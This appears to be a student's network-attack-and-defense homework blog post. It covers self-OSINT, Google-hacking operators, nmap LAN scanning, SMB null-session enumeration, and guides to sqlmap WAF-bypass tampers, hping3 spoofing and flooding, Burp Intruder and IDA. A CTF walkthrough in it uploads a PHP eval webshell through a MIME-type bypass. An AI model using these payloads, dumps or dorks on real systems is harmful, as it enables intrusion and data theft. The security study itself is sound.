当前位置: 首页 > news >正文

网络攻防技术--第三次作业

文章目录

  • 第三次作业
    • 一、通过搜索引擎搜索自己在因特网上的足迹,并确认是否存在隐私和敏感信息泄露问题。如果有信息泄露,提出解决方法。
    • 二、结合实例总结web搜索和挖掘的方法。
    • 三、网络扫描有哪几种类型?分别有什么作用?利用一种扫描工具对自己舍友的电脑进行扫描,并给出扫描结果。
    • 四、什么是查点?有什么作用?请阅读《黑客大曝光—网络安全机密与解决方案》一书提出的其他查点方法,并总结。
    • 五、访问SECTOOLS,并从其推荐的安全工具中至少选择并使用五种不同的安全工具,给出简要的使用指南。

第三次作业

一、通过搜索引擎搜索自己在因特网上的足迹,并确认是否存在隐私和敏感信息泄露问题。如果有信息泄露,提出解决方法。

  1. 直接搜索我的名字

  2. 搜索我的学号,可以发现我的学号和姓名在学校大学生创新创业训练计划项目名单里。

  3. 搜索我的电话号

  4. 用电话号查找个人信息

通过手机号可以搜索到具体的户籍信息。进而可以获取身份证的前几位数字。在互联网中,我们要经常更换自己的账号密码,我随意浏览一些虚假的钓鱼网站,以防手机账号和验证码等口令被泄露。定期使用google hacking等语法查找自己的个人隐私是否泄露,若泄露隐私信息,例如手机号和一些密码等,则尽量更换相关信息,若泄露身份证等无法修改的信息,则联系位置管理员删除相关内容,净化网络环境。

二、结合实例总结web搜索和挖掘的方法。

1、主要包括从公开渠道中收集信息和Google Hacking两种形式。
 目标Web网页、地理位置、相关组织
 组织结构和人员、个人资料、电话、电子邮件
 网络配置、安全防护机制的策略和技术细节
2、通过Google Hacking挖掘信息
Google Hacking的原意是指利用Google 搜索引擎搜索信息以便为入侵做好准备的技术和行为。现在则指利用各种搜索引擎搜索信息以便为入侵做好准备的技术和行为。

  1. 直接搜索我的名字:

以上信息与我无关,全为同名人的信息
2) “-” 搜索不包含减号后面的词的页面。使用这个指令时减号前面必须是空格,减号后面没有空格,紧跟着需要排除的词。

  1. 星号:通配符,可以用在搜索中替代任何文字,百度搜索不支持。 比如在Google 中搜索:“合” 其中的*号代表任何文字。返回的结果一系列符合上述要求的内容,而在百度搜索中则不支持这样的搜索。

  2. inurl: 用于搜索在url中包含查询词的页面,支持中文和英文。如:inurl:php?id=,返回结果都是url中包含“php?id=”的页面。

  3. intitle: 用于搜索在title中包含查询词的页面。Intitle:合肥工业大学三好学生:

  4. intext: 用于搜索正文里边包含了查询词的网页。

  5. filetype:用于搜索指导的文件格式。如 filetype:xls 身份证,返回包含身份证号关键词的所有pdf文件。

  6. site:可以将搜索限度在某个域名下,以保证搜索的精准性。如:在谷歌搜索中输入:计算机site:www.hfut.edu,将在合肥工业大学的域名下搜索所有包含计算机的页面。

三、网络扫描有哪几种类型?分别有什么作用?利用一种扫描工具对自己舍友的电脑进行扫描,并给出扫描结果。

网络扫描的类型及作用:
主机扫描:查找活跃的主机或确定目标主机是否在线
端口扫描:寻找目标主机开放的网络服务
服务和系统识别:识别目标主机使用的操作系统和开放的网络服务类型
漏洞扫描:寻找目标主机或网络服务所存在的安全弱点
首先打开VM虚拟机,设置网卡模式为桥接模式,然后利用ifconfig命令查看自己的ifconfig地址,为192.168.3.74,此时使用命令nmap -sP 192.168.3.0/24 扫描当前局域网下的存活主机,如下图:

然后对ip地址为192.168.3.5的主机扫描其开放的端口,命令为nmap 192.168.3.5,得到其如下的开放端口和服务。

四、什么是查点?有什么作用?请阅读《黑客大曝光—网络安全机密与解决方案》一书提出的其他查点方法,并总结。

查点:是根据踩点和扫描阶段获得的目标系统中资源和服务进一步勘查的过程。是继踩点、扫描之后一项网络情报信息搜集技术。针对已知的弱点,对识别出来的服务进行更加充分更具针对性的探查,来寻找真正可以攻击的入口,以及攻击过程中可能需要的关键数据。查点技术通常与具体的系统平台关系密切,在很大程度上依赖端口扫描和操作系统侦查的结果。事实上,通常将端口扫描和查点功能捆绑在同一个工具中。查点技术涉及到许多服务功能,一般要求首先对这些服务实现的过程和原理有一定的了解。
空会话查点:服务器消息块协议SMB,是Windows文件和打印共享的基础。 查点SMB的地步是使用所谓的“null session”命令来间接连接到服务net use \192.168.202.33\IPC$ “” \u:“” IPC$:共享卷"“:空口令\u:”":匿名用户
查点文件共享卷:入侵者喜欢的目标是权限配置错误的Windows文件共享卷。Windows内建的net view命令可以查点远程程序上的共享卷。net view \vito
常用工具:
srvcheck可以查出共享卷和已授权用户
srvinfo -s选项能够列出共享卷和其他许多泄露出来的信息
DumpSec它对远程系统上的所有事物进行核查,从文件系统的授权到可用的各种服务。
BGP查点:
BGP协议只使用的IP网络地址和ASN号码。
确定目标组织的ASN的方法:
(1)第一种方法:如果已经知道了目标公司的名称,可以使用ASN关键字对ARIN进行WHOIS查询。
(2)第二种方法:如果已经知道目标组织的IP地址,那么可以对路由器进行查询,使用AS路径中的最后一项作为ASN。
总结:
(1)许多组织部运行BGP,对于不运行BGP的组织,上述技术无效,因为搜索ARIN数据库无法得到ASN;
(2)使用第二种方法,返回的ASN可能是代表客户发布BGP消息的服务供应商的ASN。
内部路由协议查点
自治系统扫描器ASS:不支持BGP,是因特网路由协议攻击套装IRPAS的一个组件,可以窃听本地网络的通信数据并直接对本地网络进行扫描。
针对BGP路由查点活动的防范对策: 针对BGP查点活动没有什么好的对策,无法阻止使用第一种技术来识别ASN,但BGP查点的风险较低。

五、访问SECTOOLS,并从其推荐的安全工具中至少选择并使用五种不同的安全工具,给出简要的使用指南。

  1. Sqlmap
    一款自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL的SQL注入漏洞,目前支持的数据库是MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB。采用五种独特的SQL注入技术,分别是:
    1、基于布尔的盲注,即可以根据返回页面判断条件真假的注入。
    2、基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
    3、基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
    4、联合查询注入,可以使用union的情况下的注入。
    5、堆查询注入,可以同时执行多条语句的执行时的注入。
    常用参数:
  1. Get传参:
    注入地址以get传参为例:http://challenge-ec424cd26f742903.sandbox.ctfhub.com:10800/index.php?id=1
    sqlmap -u 注入地址” --banner // 目标信息
    sqlmap -u “注入地址” --dbs // 列举数据库
    sqlmap -u “注入地址” --current-db // 当前数据库
    sqlmap -u “注入地址” --users // 列数据库用户
    sqlmap -u “注入地址” --current–user // 当前用户
    sqlmap -u “注入地址” -D 数据库 --tables // 列举数据库的表名
    sqlmap -u “注入地址” -D 数据库 -T 表名 --columns // 获取表的列名
    sqlmap -u “注入地址” -D 数据库 -T 表名字 -C 列名字 --dump //获取数据库下表的列信息
  2. Post传参:
    Sqlmap -u “http:/192.168.3.2/sqli-labs-master/sqli-labs-master/Less-1” --data=”id=1”
    或者使用burpsuite抓包,保存到一个txt文件
    sqlmap -r filename.txt
  3. 高级用法(绕过WAF)
    –identify-waf//检测是否有WAF
    –random-agent//使用任意HTTP头进行绕过,尤其是在WAF配置不当的时候
    –time-sec=3//使用长的延时来避免触发WAF的机制,这方式比较耗时
    –hpp使用HTTP// 参数污染进行绕过,尤其是在ASP.NET/IIS 平台上
    –proxy=100.100.100.100:8080 --proxy-cred=211:985//使用代理进行绕过
    –ignore-proxy //禁止使用系统的代理,直接连接进行注入
    –flush-session //清空会话,重构注入
    –hex 或者 --no-cast//进行字符码转换
    –mobile//对移动端的服务器进行注入
    –tor//匿名注入
  4. 自带脚本(tamper)
    使用方法–tamper xxx.py
    apostrophemask.py//用UTF-8全角字符替换单引号字符
    apostrophenullencode.py //用非法双字节unicode字符替换单引号字符
    appendnullbyte.py//在payload末尾添加空字符编码
    base64encode.py //对给定的payload全部字符使用Base64编码
    between.py//分别用“NOT BETWEEN 0 AND #”替换大于号“>”,“BETWEEN # AND #”替换等于号“=”
    bluecoat.py //在SQL语句之后用有效的随机空白符替换空格符,随后用“LIKE”替换等于号“=”
    chardoubleencode.py //对给定的payload全部字符使用双重URL编码(不处理已经编码的字符)
    charencode.py //对给定的payload全部字符使用URL编码(不处理已经编码的字符)
    charunicodeencode.py //对给定的payload的非编码字符使用Unicode URL编码(不处理已经编码的字符)
    concat2concatws.py //用“CONCAT_WS(MID(CHAR(0), 0, 0), A, B)”替换像“CONCAT(A, B)”的实例
    equaltolike.py //用“LIKE”运算符替换全部等于号“=”
    greatest.py //用“GREATEST”函数替换大于号“>”
    halfversionedmorekeywords.py //在每个关键字之前添加MySQL注释
    ifnull2ifisnull.py //用“IF(ISNULL(A), B, A)”替换像“IFNULL(A, B)”的实例
    lowercase.py //用小写值替换每个关键字字符
    modsecurityversioned.py //用注释包围完整的查询
    modsecurityzeroversioned.py //用当中带有数字零的注释包围完整的查询
    multiplespaces.py //在SQL关键字周围添加多个空格
    nonrecursivereplacement.py //用representations替换预定义SQL关键字,适用于过滤器
    overlongutf8.py //转换给定的payload当中的所有字符
    percentage.py //在每个字符之前添加一个百分号
    randomcase.py //随机转换每个关键字字符的大小写
    randomcomments.py //向SQL关键字中插入随机注释
    securesphere.py //添加经过特殊构造的字符串
    sp_password.py //向payload末尾添加“sp_password” for automatic obfuscation from DBMS logs
    space2comment.py //用“/**/”替换空格符
    space2dash.py //用破折号注释符“–”其次是一个随机字符串和一个换行符替换空格符
    space2hash.py //用磅注释符“#”其次是一个随机字符串和一个换行符替换空格符
    space2morehash.py //用磅注释符“#”其次是一个随机字符串和一个换行符替换空格符
    space2mssqlblank.py //用一组有效的备选字符集当中的随机空白符替换空格符
    space2mssqlhash.py //用磅注释符“#”其次是一个换行符替换空格符
    space2mysqlblank.py //用一组有效的备选字符集当中的随机空白符替换空格符
    space2mysqldash.py //用破折号注释符“–”其次是一个换行符替换空格符
    space2plus.py //用加号“+”替换空格符
    space2randomblank.py //用一组有效的备选字符集当中的随机空白符替换空格符
    unionalltounion.py //用“UNION SELECT”替换“UNION ALL SELECT”
    unmagicquotes.py //用一个多字节组合%bf%27和末尾通用注释一起替换空格符
    varnish.py //添加一个HTTP头“X-originating-IP”来绕过WAF
    versionedkeywords.py //用MySQL注释包围每个非函数关键字
    versionedmorekeywords.py //用MySQL注释包围每个关键字
    xforwardedfor.py//添加一个伪造的HTTP头“X-Forwarded-For”来绕过WAF
  5. 一道CTF例题:
    例题来自CTFHub,网址为https://www.ctfhub.com/#/challenge,题目名为SQL注入-1,题目环境为http://challenge-ec424cd26f742903.sandbox.ctfhub.com:10800/index.php?id=1。
    (1)检测目标信息
    sqlmap -u http://challenge-ec424cd26f742903.sandbox.ctfhub.com:10800/index.php?id=1 –banner

(2)列举数据库:
sqlmap -u http://challenge-ec424cd26f742903.sandbox.ctfhub.com:10800/index.php?id=1 --dbs

(3) 列举数据库的表名
sqlmap -u http://challenge-ec424cd26f742903.sandbox.ctfhub.com:10800/index.php?id=1 -D note –tables

(4) 获取表的列名
sqlmap -u http://challenge-ec424cd26f742903.sandbox.ctfhub.com:10800/index.php?id=1 -D note -T fl4g –columns

(5) 获取数据库下表的列信息
sqlmap -u http://challenge-ec424cd26f742903.sandbox.ctfhub.com:10800/index.php?id=1 -D note -T fl4g -C fllllag –dump

  1. Hping3
    hping 是面向命令行的用于生成和解析TCP/IP协议数据包汇编分析的开源工具。可用来伪造IP访问服务器、dos攻击服务器等。
    目前最新版是hping3,它支持TCP,UDP,ICMP,和RAW-IP协议,具有跟踪路由模式,能够在覆盖的信道之间发送文件以及许多其他功能.
    hping3是安全审计,防火墙测试等工作的标配工具,haping优势在于能够定制数据包的各个部分,因此用户可以灵活对目标机进行细致的探测。
  1. 用法
    -h –help 显示帮助
    -v –version 显示版本
    -c –count 发送数据包的数目
    -i –interval 发送数据包间隔的时间 (uX即X微秒,例如:-i u1000)
    -fast 等同 -i u10000 (每秒10个包)
    -faster 等同 -i u1000 (每秒100个包)
    -flood 尽最快发送数据包,不显示回复。
    -n –numeric 数字化输出,象征性输出主机地址。
    -q –quiet 安静模式
    -I –interface 网卡接口 (默认路由接口)
    -V –verbose 详细模式
    -D –debug 调试信息
    -z –bind 绑定ctrl+z到ttl(默认为目的端口)
    -Z –unbind 取消绑定ctrl+z键
    -beep 对于接收到的每个匹配数据包蜂鸣声提示
  2. 模式选择
    default mode TCP 默认模式是 TCP
    -0 或 --rawip RAWIP模式,原始IP模式 在此模式下HPING会发送带数据的IP头。即裸IP方式。使用RAWSOCKET方式。
    -1 或 --icmp ICMP模式 此模式下HPING会发送IGMP应答报,你可以用–ICMPTYPE --ICMPCODE选项发送其他类型/模式的ICMP报文。
    -2 或 --udp UDP 模式 缺省下,HPING会发送UDP报文到主机的0端口,你可以用–baseport --destport --keep选项指定其模式。
    -8 或 --scan SCAN mode 扫描模式 指定扫描对应的端口。Example: hping --scan 1-30,70-90 -S www.target.host 扫描端口,看哪几个端口在监听
    -9 或 --listen listen mode 监听模式
  3. IP模式
    -a 虚假ip地址 –spoof spoof source address 源地址欺骗。伪造IP攻击,防火墙就不会记录你的真实IP了,当然回应的包你也接收不到了。
    -rand-dest random destionation address mode. see the man. // 随机目的地址模式。详细使用 man 命令
    –rand-source 随机源IP。详细使用 man 命令
    -t –ttl ttl (默认 64) //修改 ttl 值
    -N –id id (默认 随机) // hping 中的 ID 值,缺省为随机值
    -W –winid 使用win* id字节顺序 //使用winid模式,针对不同的操作系统。UNIX ,WINDIWS的id回应不同的,这选项可以让你的ID回应和WINDOWS一样。
    -r –rel 相对id字段(估计主机流量) //更改ID的,可以让ID曾递减输出,详见HPING-HOWTO。
    -f –frag 拆分数据包更多的frag. (may pass weak acl) //分段,可以测试对方或者交换机碎片处理能力,缺省16字节。
    -x –morefrag 设置更多的分段标志 // 大量碎片,泪滴攻击。
    -y –dontfrag 设置不分段标志 // 发送不可恢复的IP碎片,这可以让你了解更多的MTU PATH DISCOVERY。
    -g –fragoff set the fragment offset // 设置断偏移。
    -m –mtu 设置虚拟最大传输单元, implies --frag if packet size > mtu // 设置虚拟MTU值,当大于mtu的时候分段。
    -o –tos type of service (default 0x00), try --tos help // tos字段,缺省0x00,尽力而为?
    -G –rroute includes RECORD_ROUTE option and display the route buffer // 记录IP路由,并显示路由缓冲。
    -lsrr 松散源路由并记录路由 // 松散源路由
    -ssrr 严格源路由并记录路由 // 严格源路由
    -H –ipproto 设置IP协议字段,仅在RAW IP模式下使用 //在RAW IP模式里选择IP协议。设置ip协议域,仅在RAW ip模式使用。
  4. ICMP模式
    -C –icmptype icmp类型(默认echo请求) // ICMP类型,缺省回显请求。
    -K –icmpcode icmp代号(默认0) // ICMP代码。
    -force-icmp 发送所有icmp类型(默认仅发送支持的类型) // 强制ICMP类型。
    -icmp-gw 设置ICMP重定向网关地址(默认0.0.0.0) // ICMP重定向
    -icmp-ts 等同 --icmp --icmptype 13 (ICMP 时间戳) // icmp时间戳
    -icmp-addr 等同 --icmp --icmptype 17 (ICMP 地址子网掩码) // icmp子网地址
    -icmp-help 显示其他icmp选项帮助 // ICMP帮助
  5. UDP/TCP模式
    -s –baseport base source port (default random) // 缺省随机源端口
    -p –destport 指定端口号,如果不指定缺省随机源端口
    -k –keep keep still source port // 保持源端口
    -w –win win的滑动窗口。windows发送字节(默认64)
    -O –tcpoff set fake tcp data offset (instead of tcphdrlen / 4) // 设置伪造tcp数据偏移量(取代tcp地址长度除4)
    -Q –seqnum shows only tcp sequence number // 仅显示tcp序列号
    -b –badcksum(尝试)发送具有错误IP校验和数据包。许多系统将修复发送数据包的IP校验和。所以你会得到错误UDP/TCP校验和。
    -M –setseq 设置TCP序列号
    -L –setack 设置TCP的ack (不是 TCP 的 ACK 标志位)
    -F –fin set FIN flag
    -S –syn set SYN flag
    -R –rst set RST flag
    -P –push set PUSH flag
    -A –ack set ACK flag (设置 TCP 的 ACK 标志 位)
    -U –urg set URG flag // 一大堆IP抱头的设置。
    -X –xmas set X unused flag (0x40)
    -Y –ymas set Y unused flag (0x80)
    -tcpexitcode 使用last tcp-> th_flags作为退出码
    -tcp-mss 启用具有给定值的TCP MSS选项
    -tcp-timestamp 启用TCP时间戳选项来猜测HZ/uptime
  6. 通用设置
    -d –data data size (default is 0) // 发送数据包大小,缺省是0。
    -E –file 文件数据
    -e –sign 添加“签名”
    -j –dump 转储为十六进制数据包
    -J –print转储为可打印字符
    -B –safe 启用“安全”协议
    -u –end 告诉你什么时候–file达到EOF并防止倒回
    -T –traceroute traceroute模式(等同使用 --bind 且–ttl 1)
    -tr-stop 在traceroute模式下收到第一个不是ICMP时退出
    -tr-keep-ttl 保持源TTL固定,仅用于监视一跳
    -tr-no-rtt 不要在跟踪路由模式下计算/显示RTT信息 ARS包描述(新增功能,不稳定)ARS packet description (new, unstable)
    -apd-send 发送APD描述数据包(参见docs / APD.txt)
  1. BurpSuite
    Burp Suite是用于攻击web应用程序的集成平台。它包含了许多Burp工具,这些不同的burp工具通过协同工作,有效的分享信息,支持以某种工具中的信息为基础供另一种工具使用的方式发起攻击。
    它主要用来做安全性渗透测试,可以实现拦截请求、Burp Spider爬虫、漏洞扫描(付费)等类似Fiddler和Postman但比其更强大的功能。
    使用方法
    在使用之前,需要设置代理地址和端口,设置路径如下图:

    同样的,浏览器也需要设置代理和端口。我本人采用的是火狐浏览器,插件为FoxyProxy,设置路径如下图:(需要和bp的ip地址及端口一样)

    将浏览器的代理打开,同时bp的设置如下,即可抓包:

抓到的包鼠标右键,可以发送到Repeater模块进行参数的修改以及包的重发:下图中的Raw,Params,Headers,Hex分别代表原始数据包,参数,数据头和16进制数据,都可以进行修改和查看。

下图中的Decoder,Comparer,Extender:分别代表数据编码和解码,两段数据包的对比,脚本或者插件:

Intruder模块是比较常用的模块,它用于一个位置参数的爆破。

  1. Sniper(狙击手) 每次执行一个payload

  2. Battering ram(攻城锤)

  3. Pitch fork(草叉)多种payload集合,遍历所有payload
    1位置:a/b 2位置:c/d
    结果, ac ,bd

  4. Cluster bomb(集束炸弹)多种payload集合,遍历所有payload
    1位置:a/b 2位置:c/d
    结果, ac , ad, bc, bd
    在Payload Sets中内置了很多字典,如下图所示:

  5. simple list 简单列表

  6. Runtime file 打开一个字典文件

  7. Custom iterator 例如爆破username@@password ,可按照 Position 位置进行组合爆破,1:username 2:@@ 3:password

  8. Character substition 字符串替换

  9. Case modification 大小写替换

  10. Recursive grep 递归

  11. IIIegal Unicode 不合法编码

  12. Character blocks字符块

  13. Numbers 数字

  14. Dates 日期

  15. Brute forcer 对指定字符串枚举该字符串的所有子集

  16. Null payloads 发送空null攻击

  17. Character frobber 原字符基础上增加ascii码

  18. Bit flipper 按照bit位以此修改,翻转

  19. username generator 用户名和邮箱生成器

  20. ECB block shuffler ECB加密模块

  21. Extension-generated 基于插件生成payload,需要下载插件

  22. Copy other payload 例如输入俩次密码,需要俩次密码相同

  23. IDA PRO
    在二进制安全的学习中,使用工具尤为重要,而IDA又是二进制的神器,它是交互式反汇编器,是典型的递归下降反汇编器。
    打开 IDA 后,IDA 会提供 3 种不同的打开方式:New(新建),Go(运行),Previous(上一个)。
    初次打开的时候选择 GO 就可以了。进入之后,选择左上角的 file 中的 open 打开文件。(它分为32位和64位,要使用对应的Ida打开对应的文件)

  1. IDA界面

    如上图所示,IDA主界面由以下几个模块组成:
    • IDA View 三种反汇编视图:文本视图、图表视图、路径视图
    • IDA View-A:是反汇编窗口。(空格键切换文本视图与图表视图)
    • HexView-A: 十六进制格式显示的窗口,
    • Imports: 导入表(程序中调用到的外面的函数)。导入函数窗口
    • Exports: 导出函数窗口
    • Functions
    • Structures:结构体窗口。
    • Enums: 枚举窗口
    • Strings: 字符串窗口 快捷键 shift+F12

  2. 常用功能及快捷键
    空格键:切换 文本视图 与 图表视图
    ESC:返回上一个操作地址
    G:搜索地址和符号
    N:对符号进行重命名
    冒号键:常规注释
    分号键:可重复注释
    Alt+M:添加标签
    Ctrl+M:查看标签
    Ctrl+S:查看段的信息
    代码数据切换:
    C—>代码
    D—>数据
    A—>ascii 字符串
    U—>解析成未定义的内容
    P:识别成一个函数
    X:查看交叉应用
    F5:查看伪代码
    Alt+T:搜索文本
    Alt+B:搜索十六进制
    Shift+E:提取数据

  3. 动态调试
    在调试器中选择对应的调试器,即可进入调试器界面:操作步骤如下图:

下图为调试器界面

  1. 中国蚁剑
    中国蚁剑是一款开源的跨平台网站管理工具,它主要面向于合法授权的渗透测试安全人员以及进行常规操作的网站管理员。是一款非常优秀的webshell管理工具。

以一道CTF例题为例
例题来自BUUTCTF,网址为https://buuoj.cn/challenges,题目名字为Upload-Labs-Linux,题目环境为http://809c42f5-2bc9-4062-a101-f2084f4a60b0.node4.buuoj.cn:81/Pass-02/index.php。
首先观察题目,得知为文件上传题目

然后编写一个用php写的一句话木马:木马内容为

<?php echo "hello world"; @eval($_POST['hack']); ?>

上传之后提示,只能上传图片,怀疑服务端对数据包的MIME进行检查,所以用bp抓包,改一下数据的格式:

将前面的php数据包格式,换为png图片的数据包格式,然后重新上传,得到文件的相对地址:

然后输入上传文件所在的路径,连接密码为php中的hack:

显示连接成功,然后点击右上角添加,则可进入web服务器管理界面,可以看到所有的文件,也可以删除或者添加文件。至此,攻击成功。

相关文章:

网络攻防技术--第三次作业

文章目录 第三次作业一、通过搜索引擎搜索自己在因特网上的足迹&#xff0c;并确认是否存在隐私和敏感信息泄露问题。如果有信息泄露&#xff0c;提出解决方法。二、结合实例总结web搜索和挖掘的方法。三、网络扫描有哪几种类型&#xff1f;分别有什么作用&#xff1f;利用一种…...

带隙基准Bandgap电路学习(一)

一、原理图 Bandgap中的运放&#xff08;折叠式Cascode&#xff09;采用P输入对&#xff0c;是因为运放输入端接的PNP三极管发射极端的电位&#xff0c;电压小&#xff0c;为了确保输入对管能够饱和工作&#xff0c;故采用P输入对管。此外&#xff0c;P管作为输入管&#xff0c…...

[前端][easyui]easyui select 默认值

function initRegion(key, val) {$(#Region).combobox({url: path /getTypeVaule.do?itemregion&key key "&value" val,editable: false, //不可编辑状态cache: false,valueField: TEMID,textField: TEMID,loadFilter: function (data) {data.unshift({…...

项目开发--大模型--个人问答知识库--chain控制

背景 1、langchain当中的chain prompt | llm | output_parser这个链能更长吗&#xff1f; 在 LangChain 中&#xff0c;链&#xff08;chain&#xff09;可以根据需要变得非常长&#xff0c;并且可以包含多种不同类型的组件。链的目的是将多个步骤串联起来&#xff0c;以便以…...

STM32—SPI通讯协议

前言 由于I2C开漏外加上拉电阻的电路结构&#xff0c;使得通信线高电平的驱动能力比较弱&#xff0c;这就会号致&#xff0c;通信线由候电平变到高电平的时候&#xff0c;这个上升沿耗时比较长&#xff0c;这会限制I2C的最大通信速度&#xff0c; 所以&#xff0c;I2C的标准模…...

Android 安装过程五 MSG_INSTALL消息的处理 安装

现在马上进入正式的安装流程。   从前面文章 Android 安装过程四 MSG_INSTALL消息的处理 安装之前的验证知道&#xff0c;在验证之后没有什么问题的情况下&#xff0c;会回调onVerificationComplete()方法&#xff0c;它位于PackageInstallerSession类中。 private void onVe…...

大数据开发--1.3 Linux的常用命令大全

目录 一. 终端命令格式 命令格式 说明&#xff1a; 二. 显示文件列表命令 -ls 作用 格式 ls常用选项 案例 三. 目录操作命令 -pwd 作用 格式 案例 四. 目录操作命令 -cd 作用 格式 案例 五. 目录操作命令 -mkdir 作用 格式 案…...

使用PuTTY连接到Amazon Linux实例

PuTTY 是一款免费的 SSH 客户端&#xff0c;广泛用于从 Windows 系统连接到 Linux 实例。如果你使用的是 Windows Server 2019 或更高版本&#xff0c;可以考虑使用内置的 OpenSSH 工具&#xff0c;但 PuTTY 依然是一个非常受欢迎的选择。 一、先决条件 在使用 PuTTY 连接到 …...

Nexus搭建maven私有仓库

内网访问&#xff0c;内网团队使用一个服务缓存节省外网宽带。 微服务开发中加速 Maven 项目构建&#xff0c;加快团队合作&#xff0c;提高工作效率 允许上传和下载私有库&#xff0c;并且不被外部访问&#xff0c;安全 稳定。 方便内部项目服务的依赖引用&#xff0c;而不需要…...

留存率的定义与SQL实现

1.什么是留存率 留存率是指在特定时间段内&#xff0c;仍然继续使用某项产品或服务的用户占用户总数的百分比。 通常&#xff0c;留存率会以日&#xff0c;周&#xff0c;或月为单位进行统计和分析。 2.SQL留存率常见问题 1.计算新用户登录的日期的次日留存率以及3日留存率 …...

Java的锁机制详解

在并发编程中&#xff0c;锁 是用于控制多个线程对共享资源进行访问的工具。Java提供了多种锁机制&#xff0c;从最基础的 synchronized 到高级的 ReentrantLock&#xff0c;这些锁帮助我们确保线程安全&#xff0c;并能有效避免数据竞争和死锁问题。 1. synchronized 关键字…...

用户登录与信息管理:实现小程序登录与用户信息存储

用户登录与信息管理&#xff1a;实现小程序登录与用户信息存储 在现代的移动应用中&#xff0c;用户登录与信息管理是构建个性化用户体验的基础。小程序作为轻量级的应用形式&#xff0c;在简化开发流程的同时&#xff0c;也需要我们妥善管理用户的登录状态与用户信息。本文将…...

Java如何调用构造函数和方法以及使用

调用构造函数的格式 构造函数在创建新对象时被调用。调用格式如下&#xff1a; ClassName objectName new ClassName(parameters); ClassName&#xff1a;你需要创建其实例的类的名称。 objectName&#xff1a;你将创建的对象的名称。 parameters&#xff1a;如果你使用的是…...

TFBoys谁最重

题目 使用go语言设计一个程序计算TFBoys谁最重&#xff0c;要求使用结构体表示TFBoys三个成员&#xff0c;设计函数计算三个重量的最大值。 程序 package main import ("fmt") type Person struct {Name stringWeight float64} func (p Person) GetWeigh…...

scp 通过中间机器进行远程拷贝

有时候&#xff0c;我们想要通过 scp将一台机器上的文件拷贝至另外一台机器&#xff0c;但这两台机器可能没有直接联通&#xff0c;需要通过中间机器进行跳转才能访问&#xff0c;一个麻烦的办法就是&#xff0c;先将文件拷贝至中间机器&#xff0c;然后再从中间机器拷贝至另外…...

探索 Python 高精度计算的奥秘:mpmath 库全解析

文章目录 探索 Python 高精度计算的奥秘&#xff1a;mpmath 库全解析背景&#xff1a;为何选择 mpmath&#xff1f;第二部分&#xff1a;mpmath 是什么&#xff1f;第三部分&#xff1a;如何安装 mpmath&#xff1f;第四部分&#xff1a;mpmath 函数使用示例第五部分&#xff1…...

<<迷雾>> 第10章 用机器做一连串的加法(1)--使用两排开关分别给出被加数和加数 示例电路

info::操作说明 鼠标单击逻辑输入切换 0|1 状态 primary::在线交互操作链接 https://cc.xiaogd.net/?startCircuitLinkhttps://book.xiaogd.net/cyjsjdmw-examples/assets/circuit/cyjsjdmw-ch10-01-5-bit-adder.txt 原图...

Stable Diffusion最新版nowebui的api使用详解

最近在使用stable diffusion最新版的Stable Diffusion WebUI Forge进行api调用,下面来一步一步的进行展开吧!!! 1、下载lllyasviel/stable-diffusion-webui-forge GitHub - lllyasviel/stable-diffusion-webui-forgeContribute to lllyasviel/stable-diffusion-webui-for…...

云服务器架构详解:X86计算_ARM_GPU/FPGA/ASIC_裸金属_超级计算集群

阿里云服务器架构有什么区别&#xff1f;X86计算、ARM计算、GPU/FPGA/ASIC、弹性裸金属服务器、超级计算集群有什么区别&#xff1f;阿里云服务器网aliyunfuwuqi.com分享云服务器ECS架构详细说明&#xff1a; 阿里云服务器ECS架构说明 阿里云服务器ECS架构 X86计算 X86计算架…...

高级java每日一道面试题-2024年10月4日-数据库篇-MySQL索引底层结构为什么使用B+树?

如果有遗漏,评论区告诉我进行补充 面试官: MySQL索引底层结构为什么使用B树&#xff1f; 我回答: 该面试题本质还是在考察B树的数据结构和在数据库系统中的应用&#xff0c;下边是详细的回答。 B树的基本特性 B 树的结构特点 非叶子节点只存储键值信息&#xff0c;不存储…...

Leetcode 3576. Transform Array to All Equal Elements

Leetcode 3576. Transform Array to All Equal Elements 1. 解题思路2. 代码实现 题目链接&#xff1a;3576. Transform Array to All Equal Elements 1. 解题思路 这一题思路上就是分别考察一下是否能将其转化为全1或者全-1数组即可。 至于每一种情况是否可以达到&#xf…...

JavaScript 中的 ES|QL:利用 Apache Arrow 工具

作者&#xff1a;来自 Elastic Jeffrey Rengifo 学习如何将 ES|QL 与 JavaScript 的 Apache Arrow 客户端工具一起使用。 想获得 Elastic 认证吗&#xff1f;了解下一期 Elasticsearch Engineer 培训的时间吧&#xff01; Elasticsearch 拥有众多新功能&#xff0c;助你为自己…...

大型活动交通拥堵治理的视觉算法应用

大型活动下智慧交通的视觉分析应用 一、背景与挑战 大型活动&#xff08;如演唱会、马拉松赛事、高考中考等&#xff09;期间&#xff0c;城市交通面临瞬时人流车流激增、传统摄像头模糊、交通拥堵识别滞后等问题。以演唱会为例&#xff0c;暖城商圈曾因观众集中离场导致周边…...

AI书签管理工具开发全记录(十九):嵌入资源处理

1.前言 &#x1f4dd; 在上一篇文章中&#xff0c;我们完成了书签的导入导出功能。本篇文章我们研究如何处理嵌入资源&#xff0c;方便后续将资源打包到一个可执行文件中。 2.embed介绍 &#x1f3af; Go 1.16 引入了革命性的 embed 包&#xff0c;彻底改变了静态资源管理的…...

C# winform教程(二)----checkbox

一、作用 提供一个用户选择或者不选的状态&#xff0c;这是一个可以多选的控件。 二、属性 其实功能大差不差&#xff0c;除了特殊的几个外&#xff0c;与button基本相同&#xff0c;所有说几个独有的 checkbox属性 名称内容含义appearance控件外观可以变成按钮形状checkali…...

c++ decltype关键字

decltype为类型推导关键字。 示例代码&#xff1a; // decltype也可用于函数模板编程: template<typename T, typename U> auto add(T t, U u) -> decltype(t u) {return t u; }// decltype推导函数返回类型 auto doubleNumFunc(int x) -> decltype(x * 2) {ret…...

Oracle 19c RAC集群ADG搭建

1、将主库的pfile和passwdfile发送到备库 #主库一节点操作 scp -P1234 /tmp/pfile2025.ora bak_ip:/home/oracle sco -P1234 /oracle/app/oracle/product/19.0.0/db/dbs/orapw$ORACLE_SID bak_ip:/oracle/app/oracle/product/19.0.0/db/dbs 2、备库修改参数文件成standby相关…...

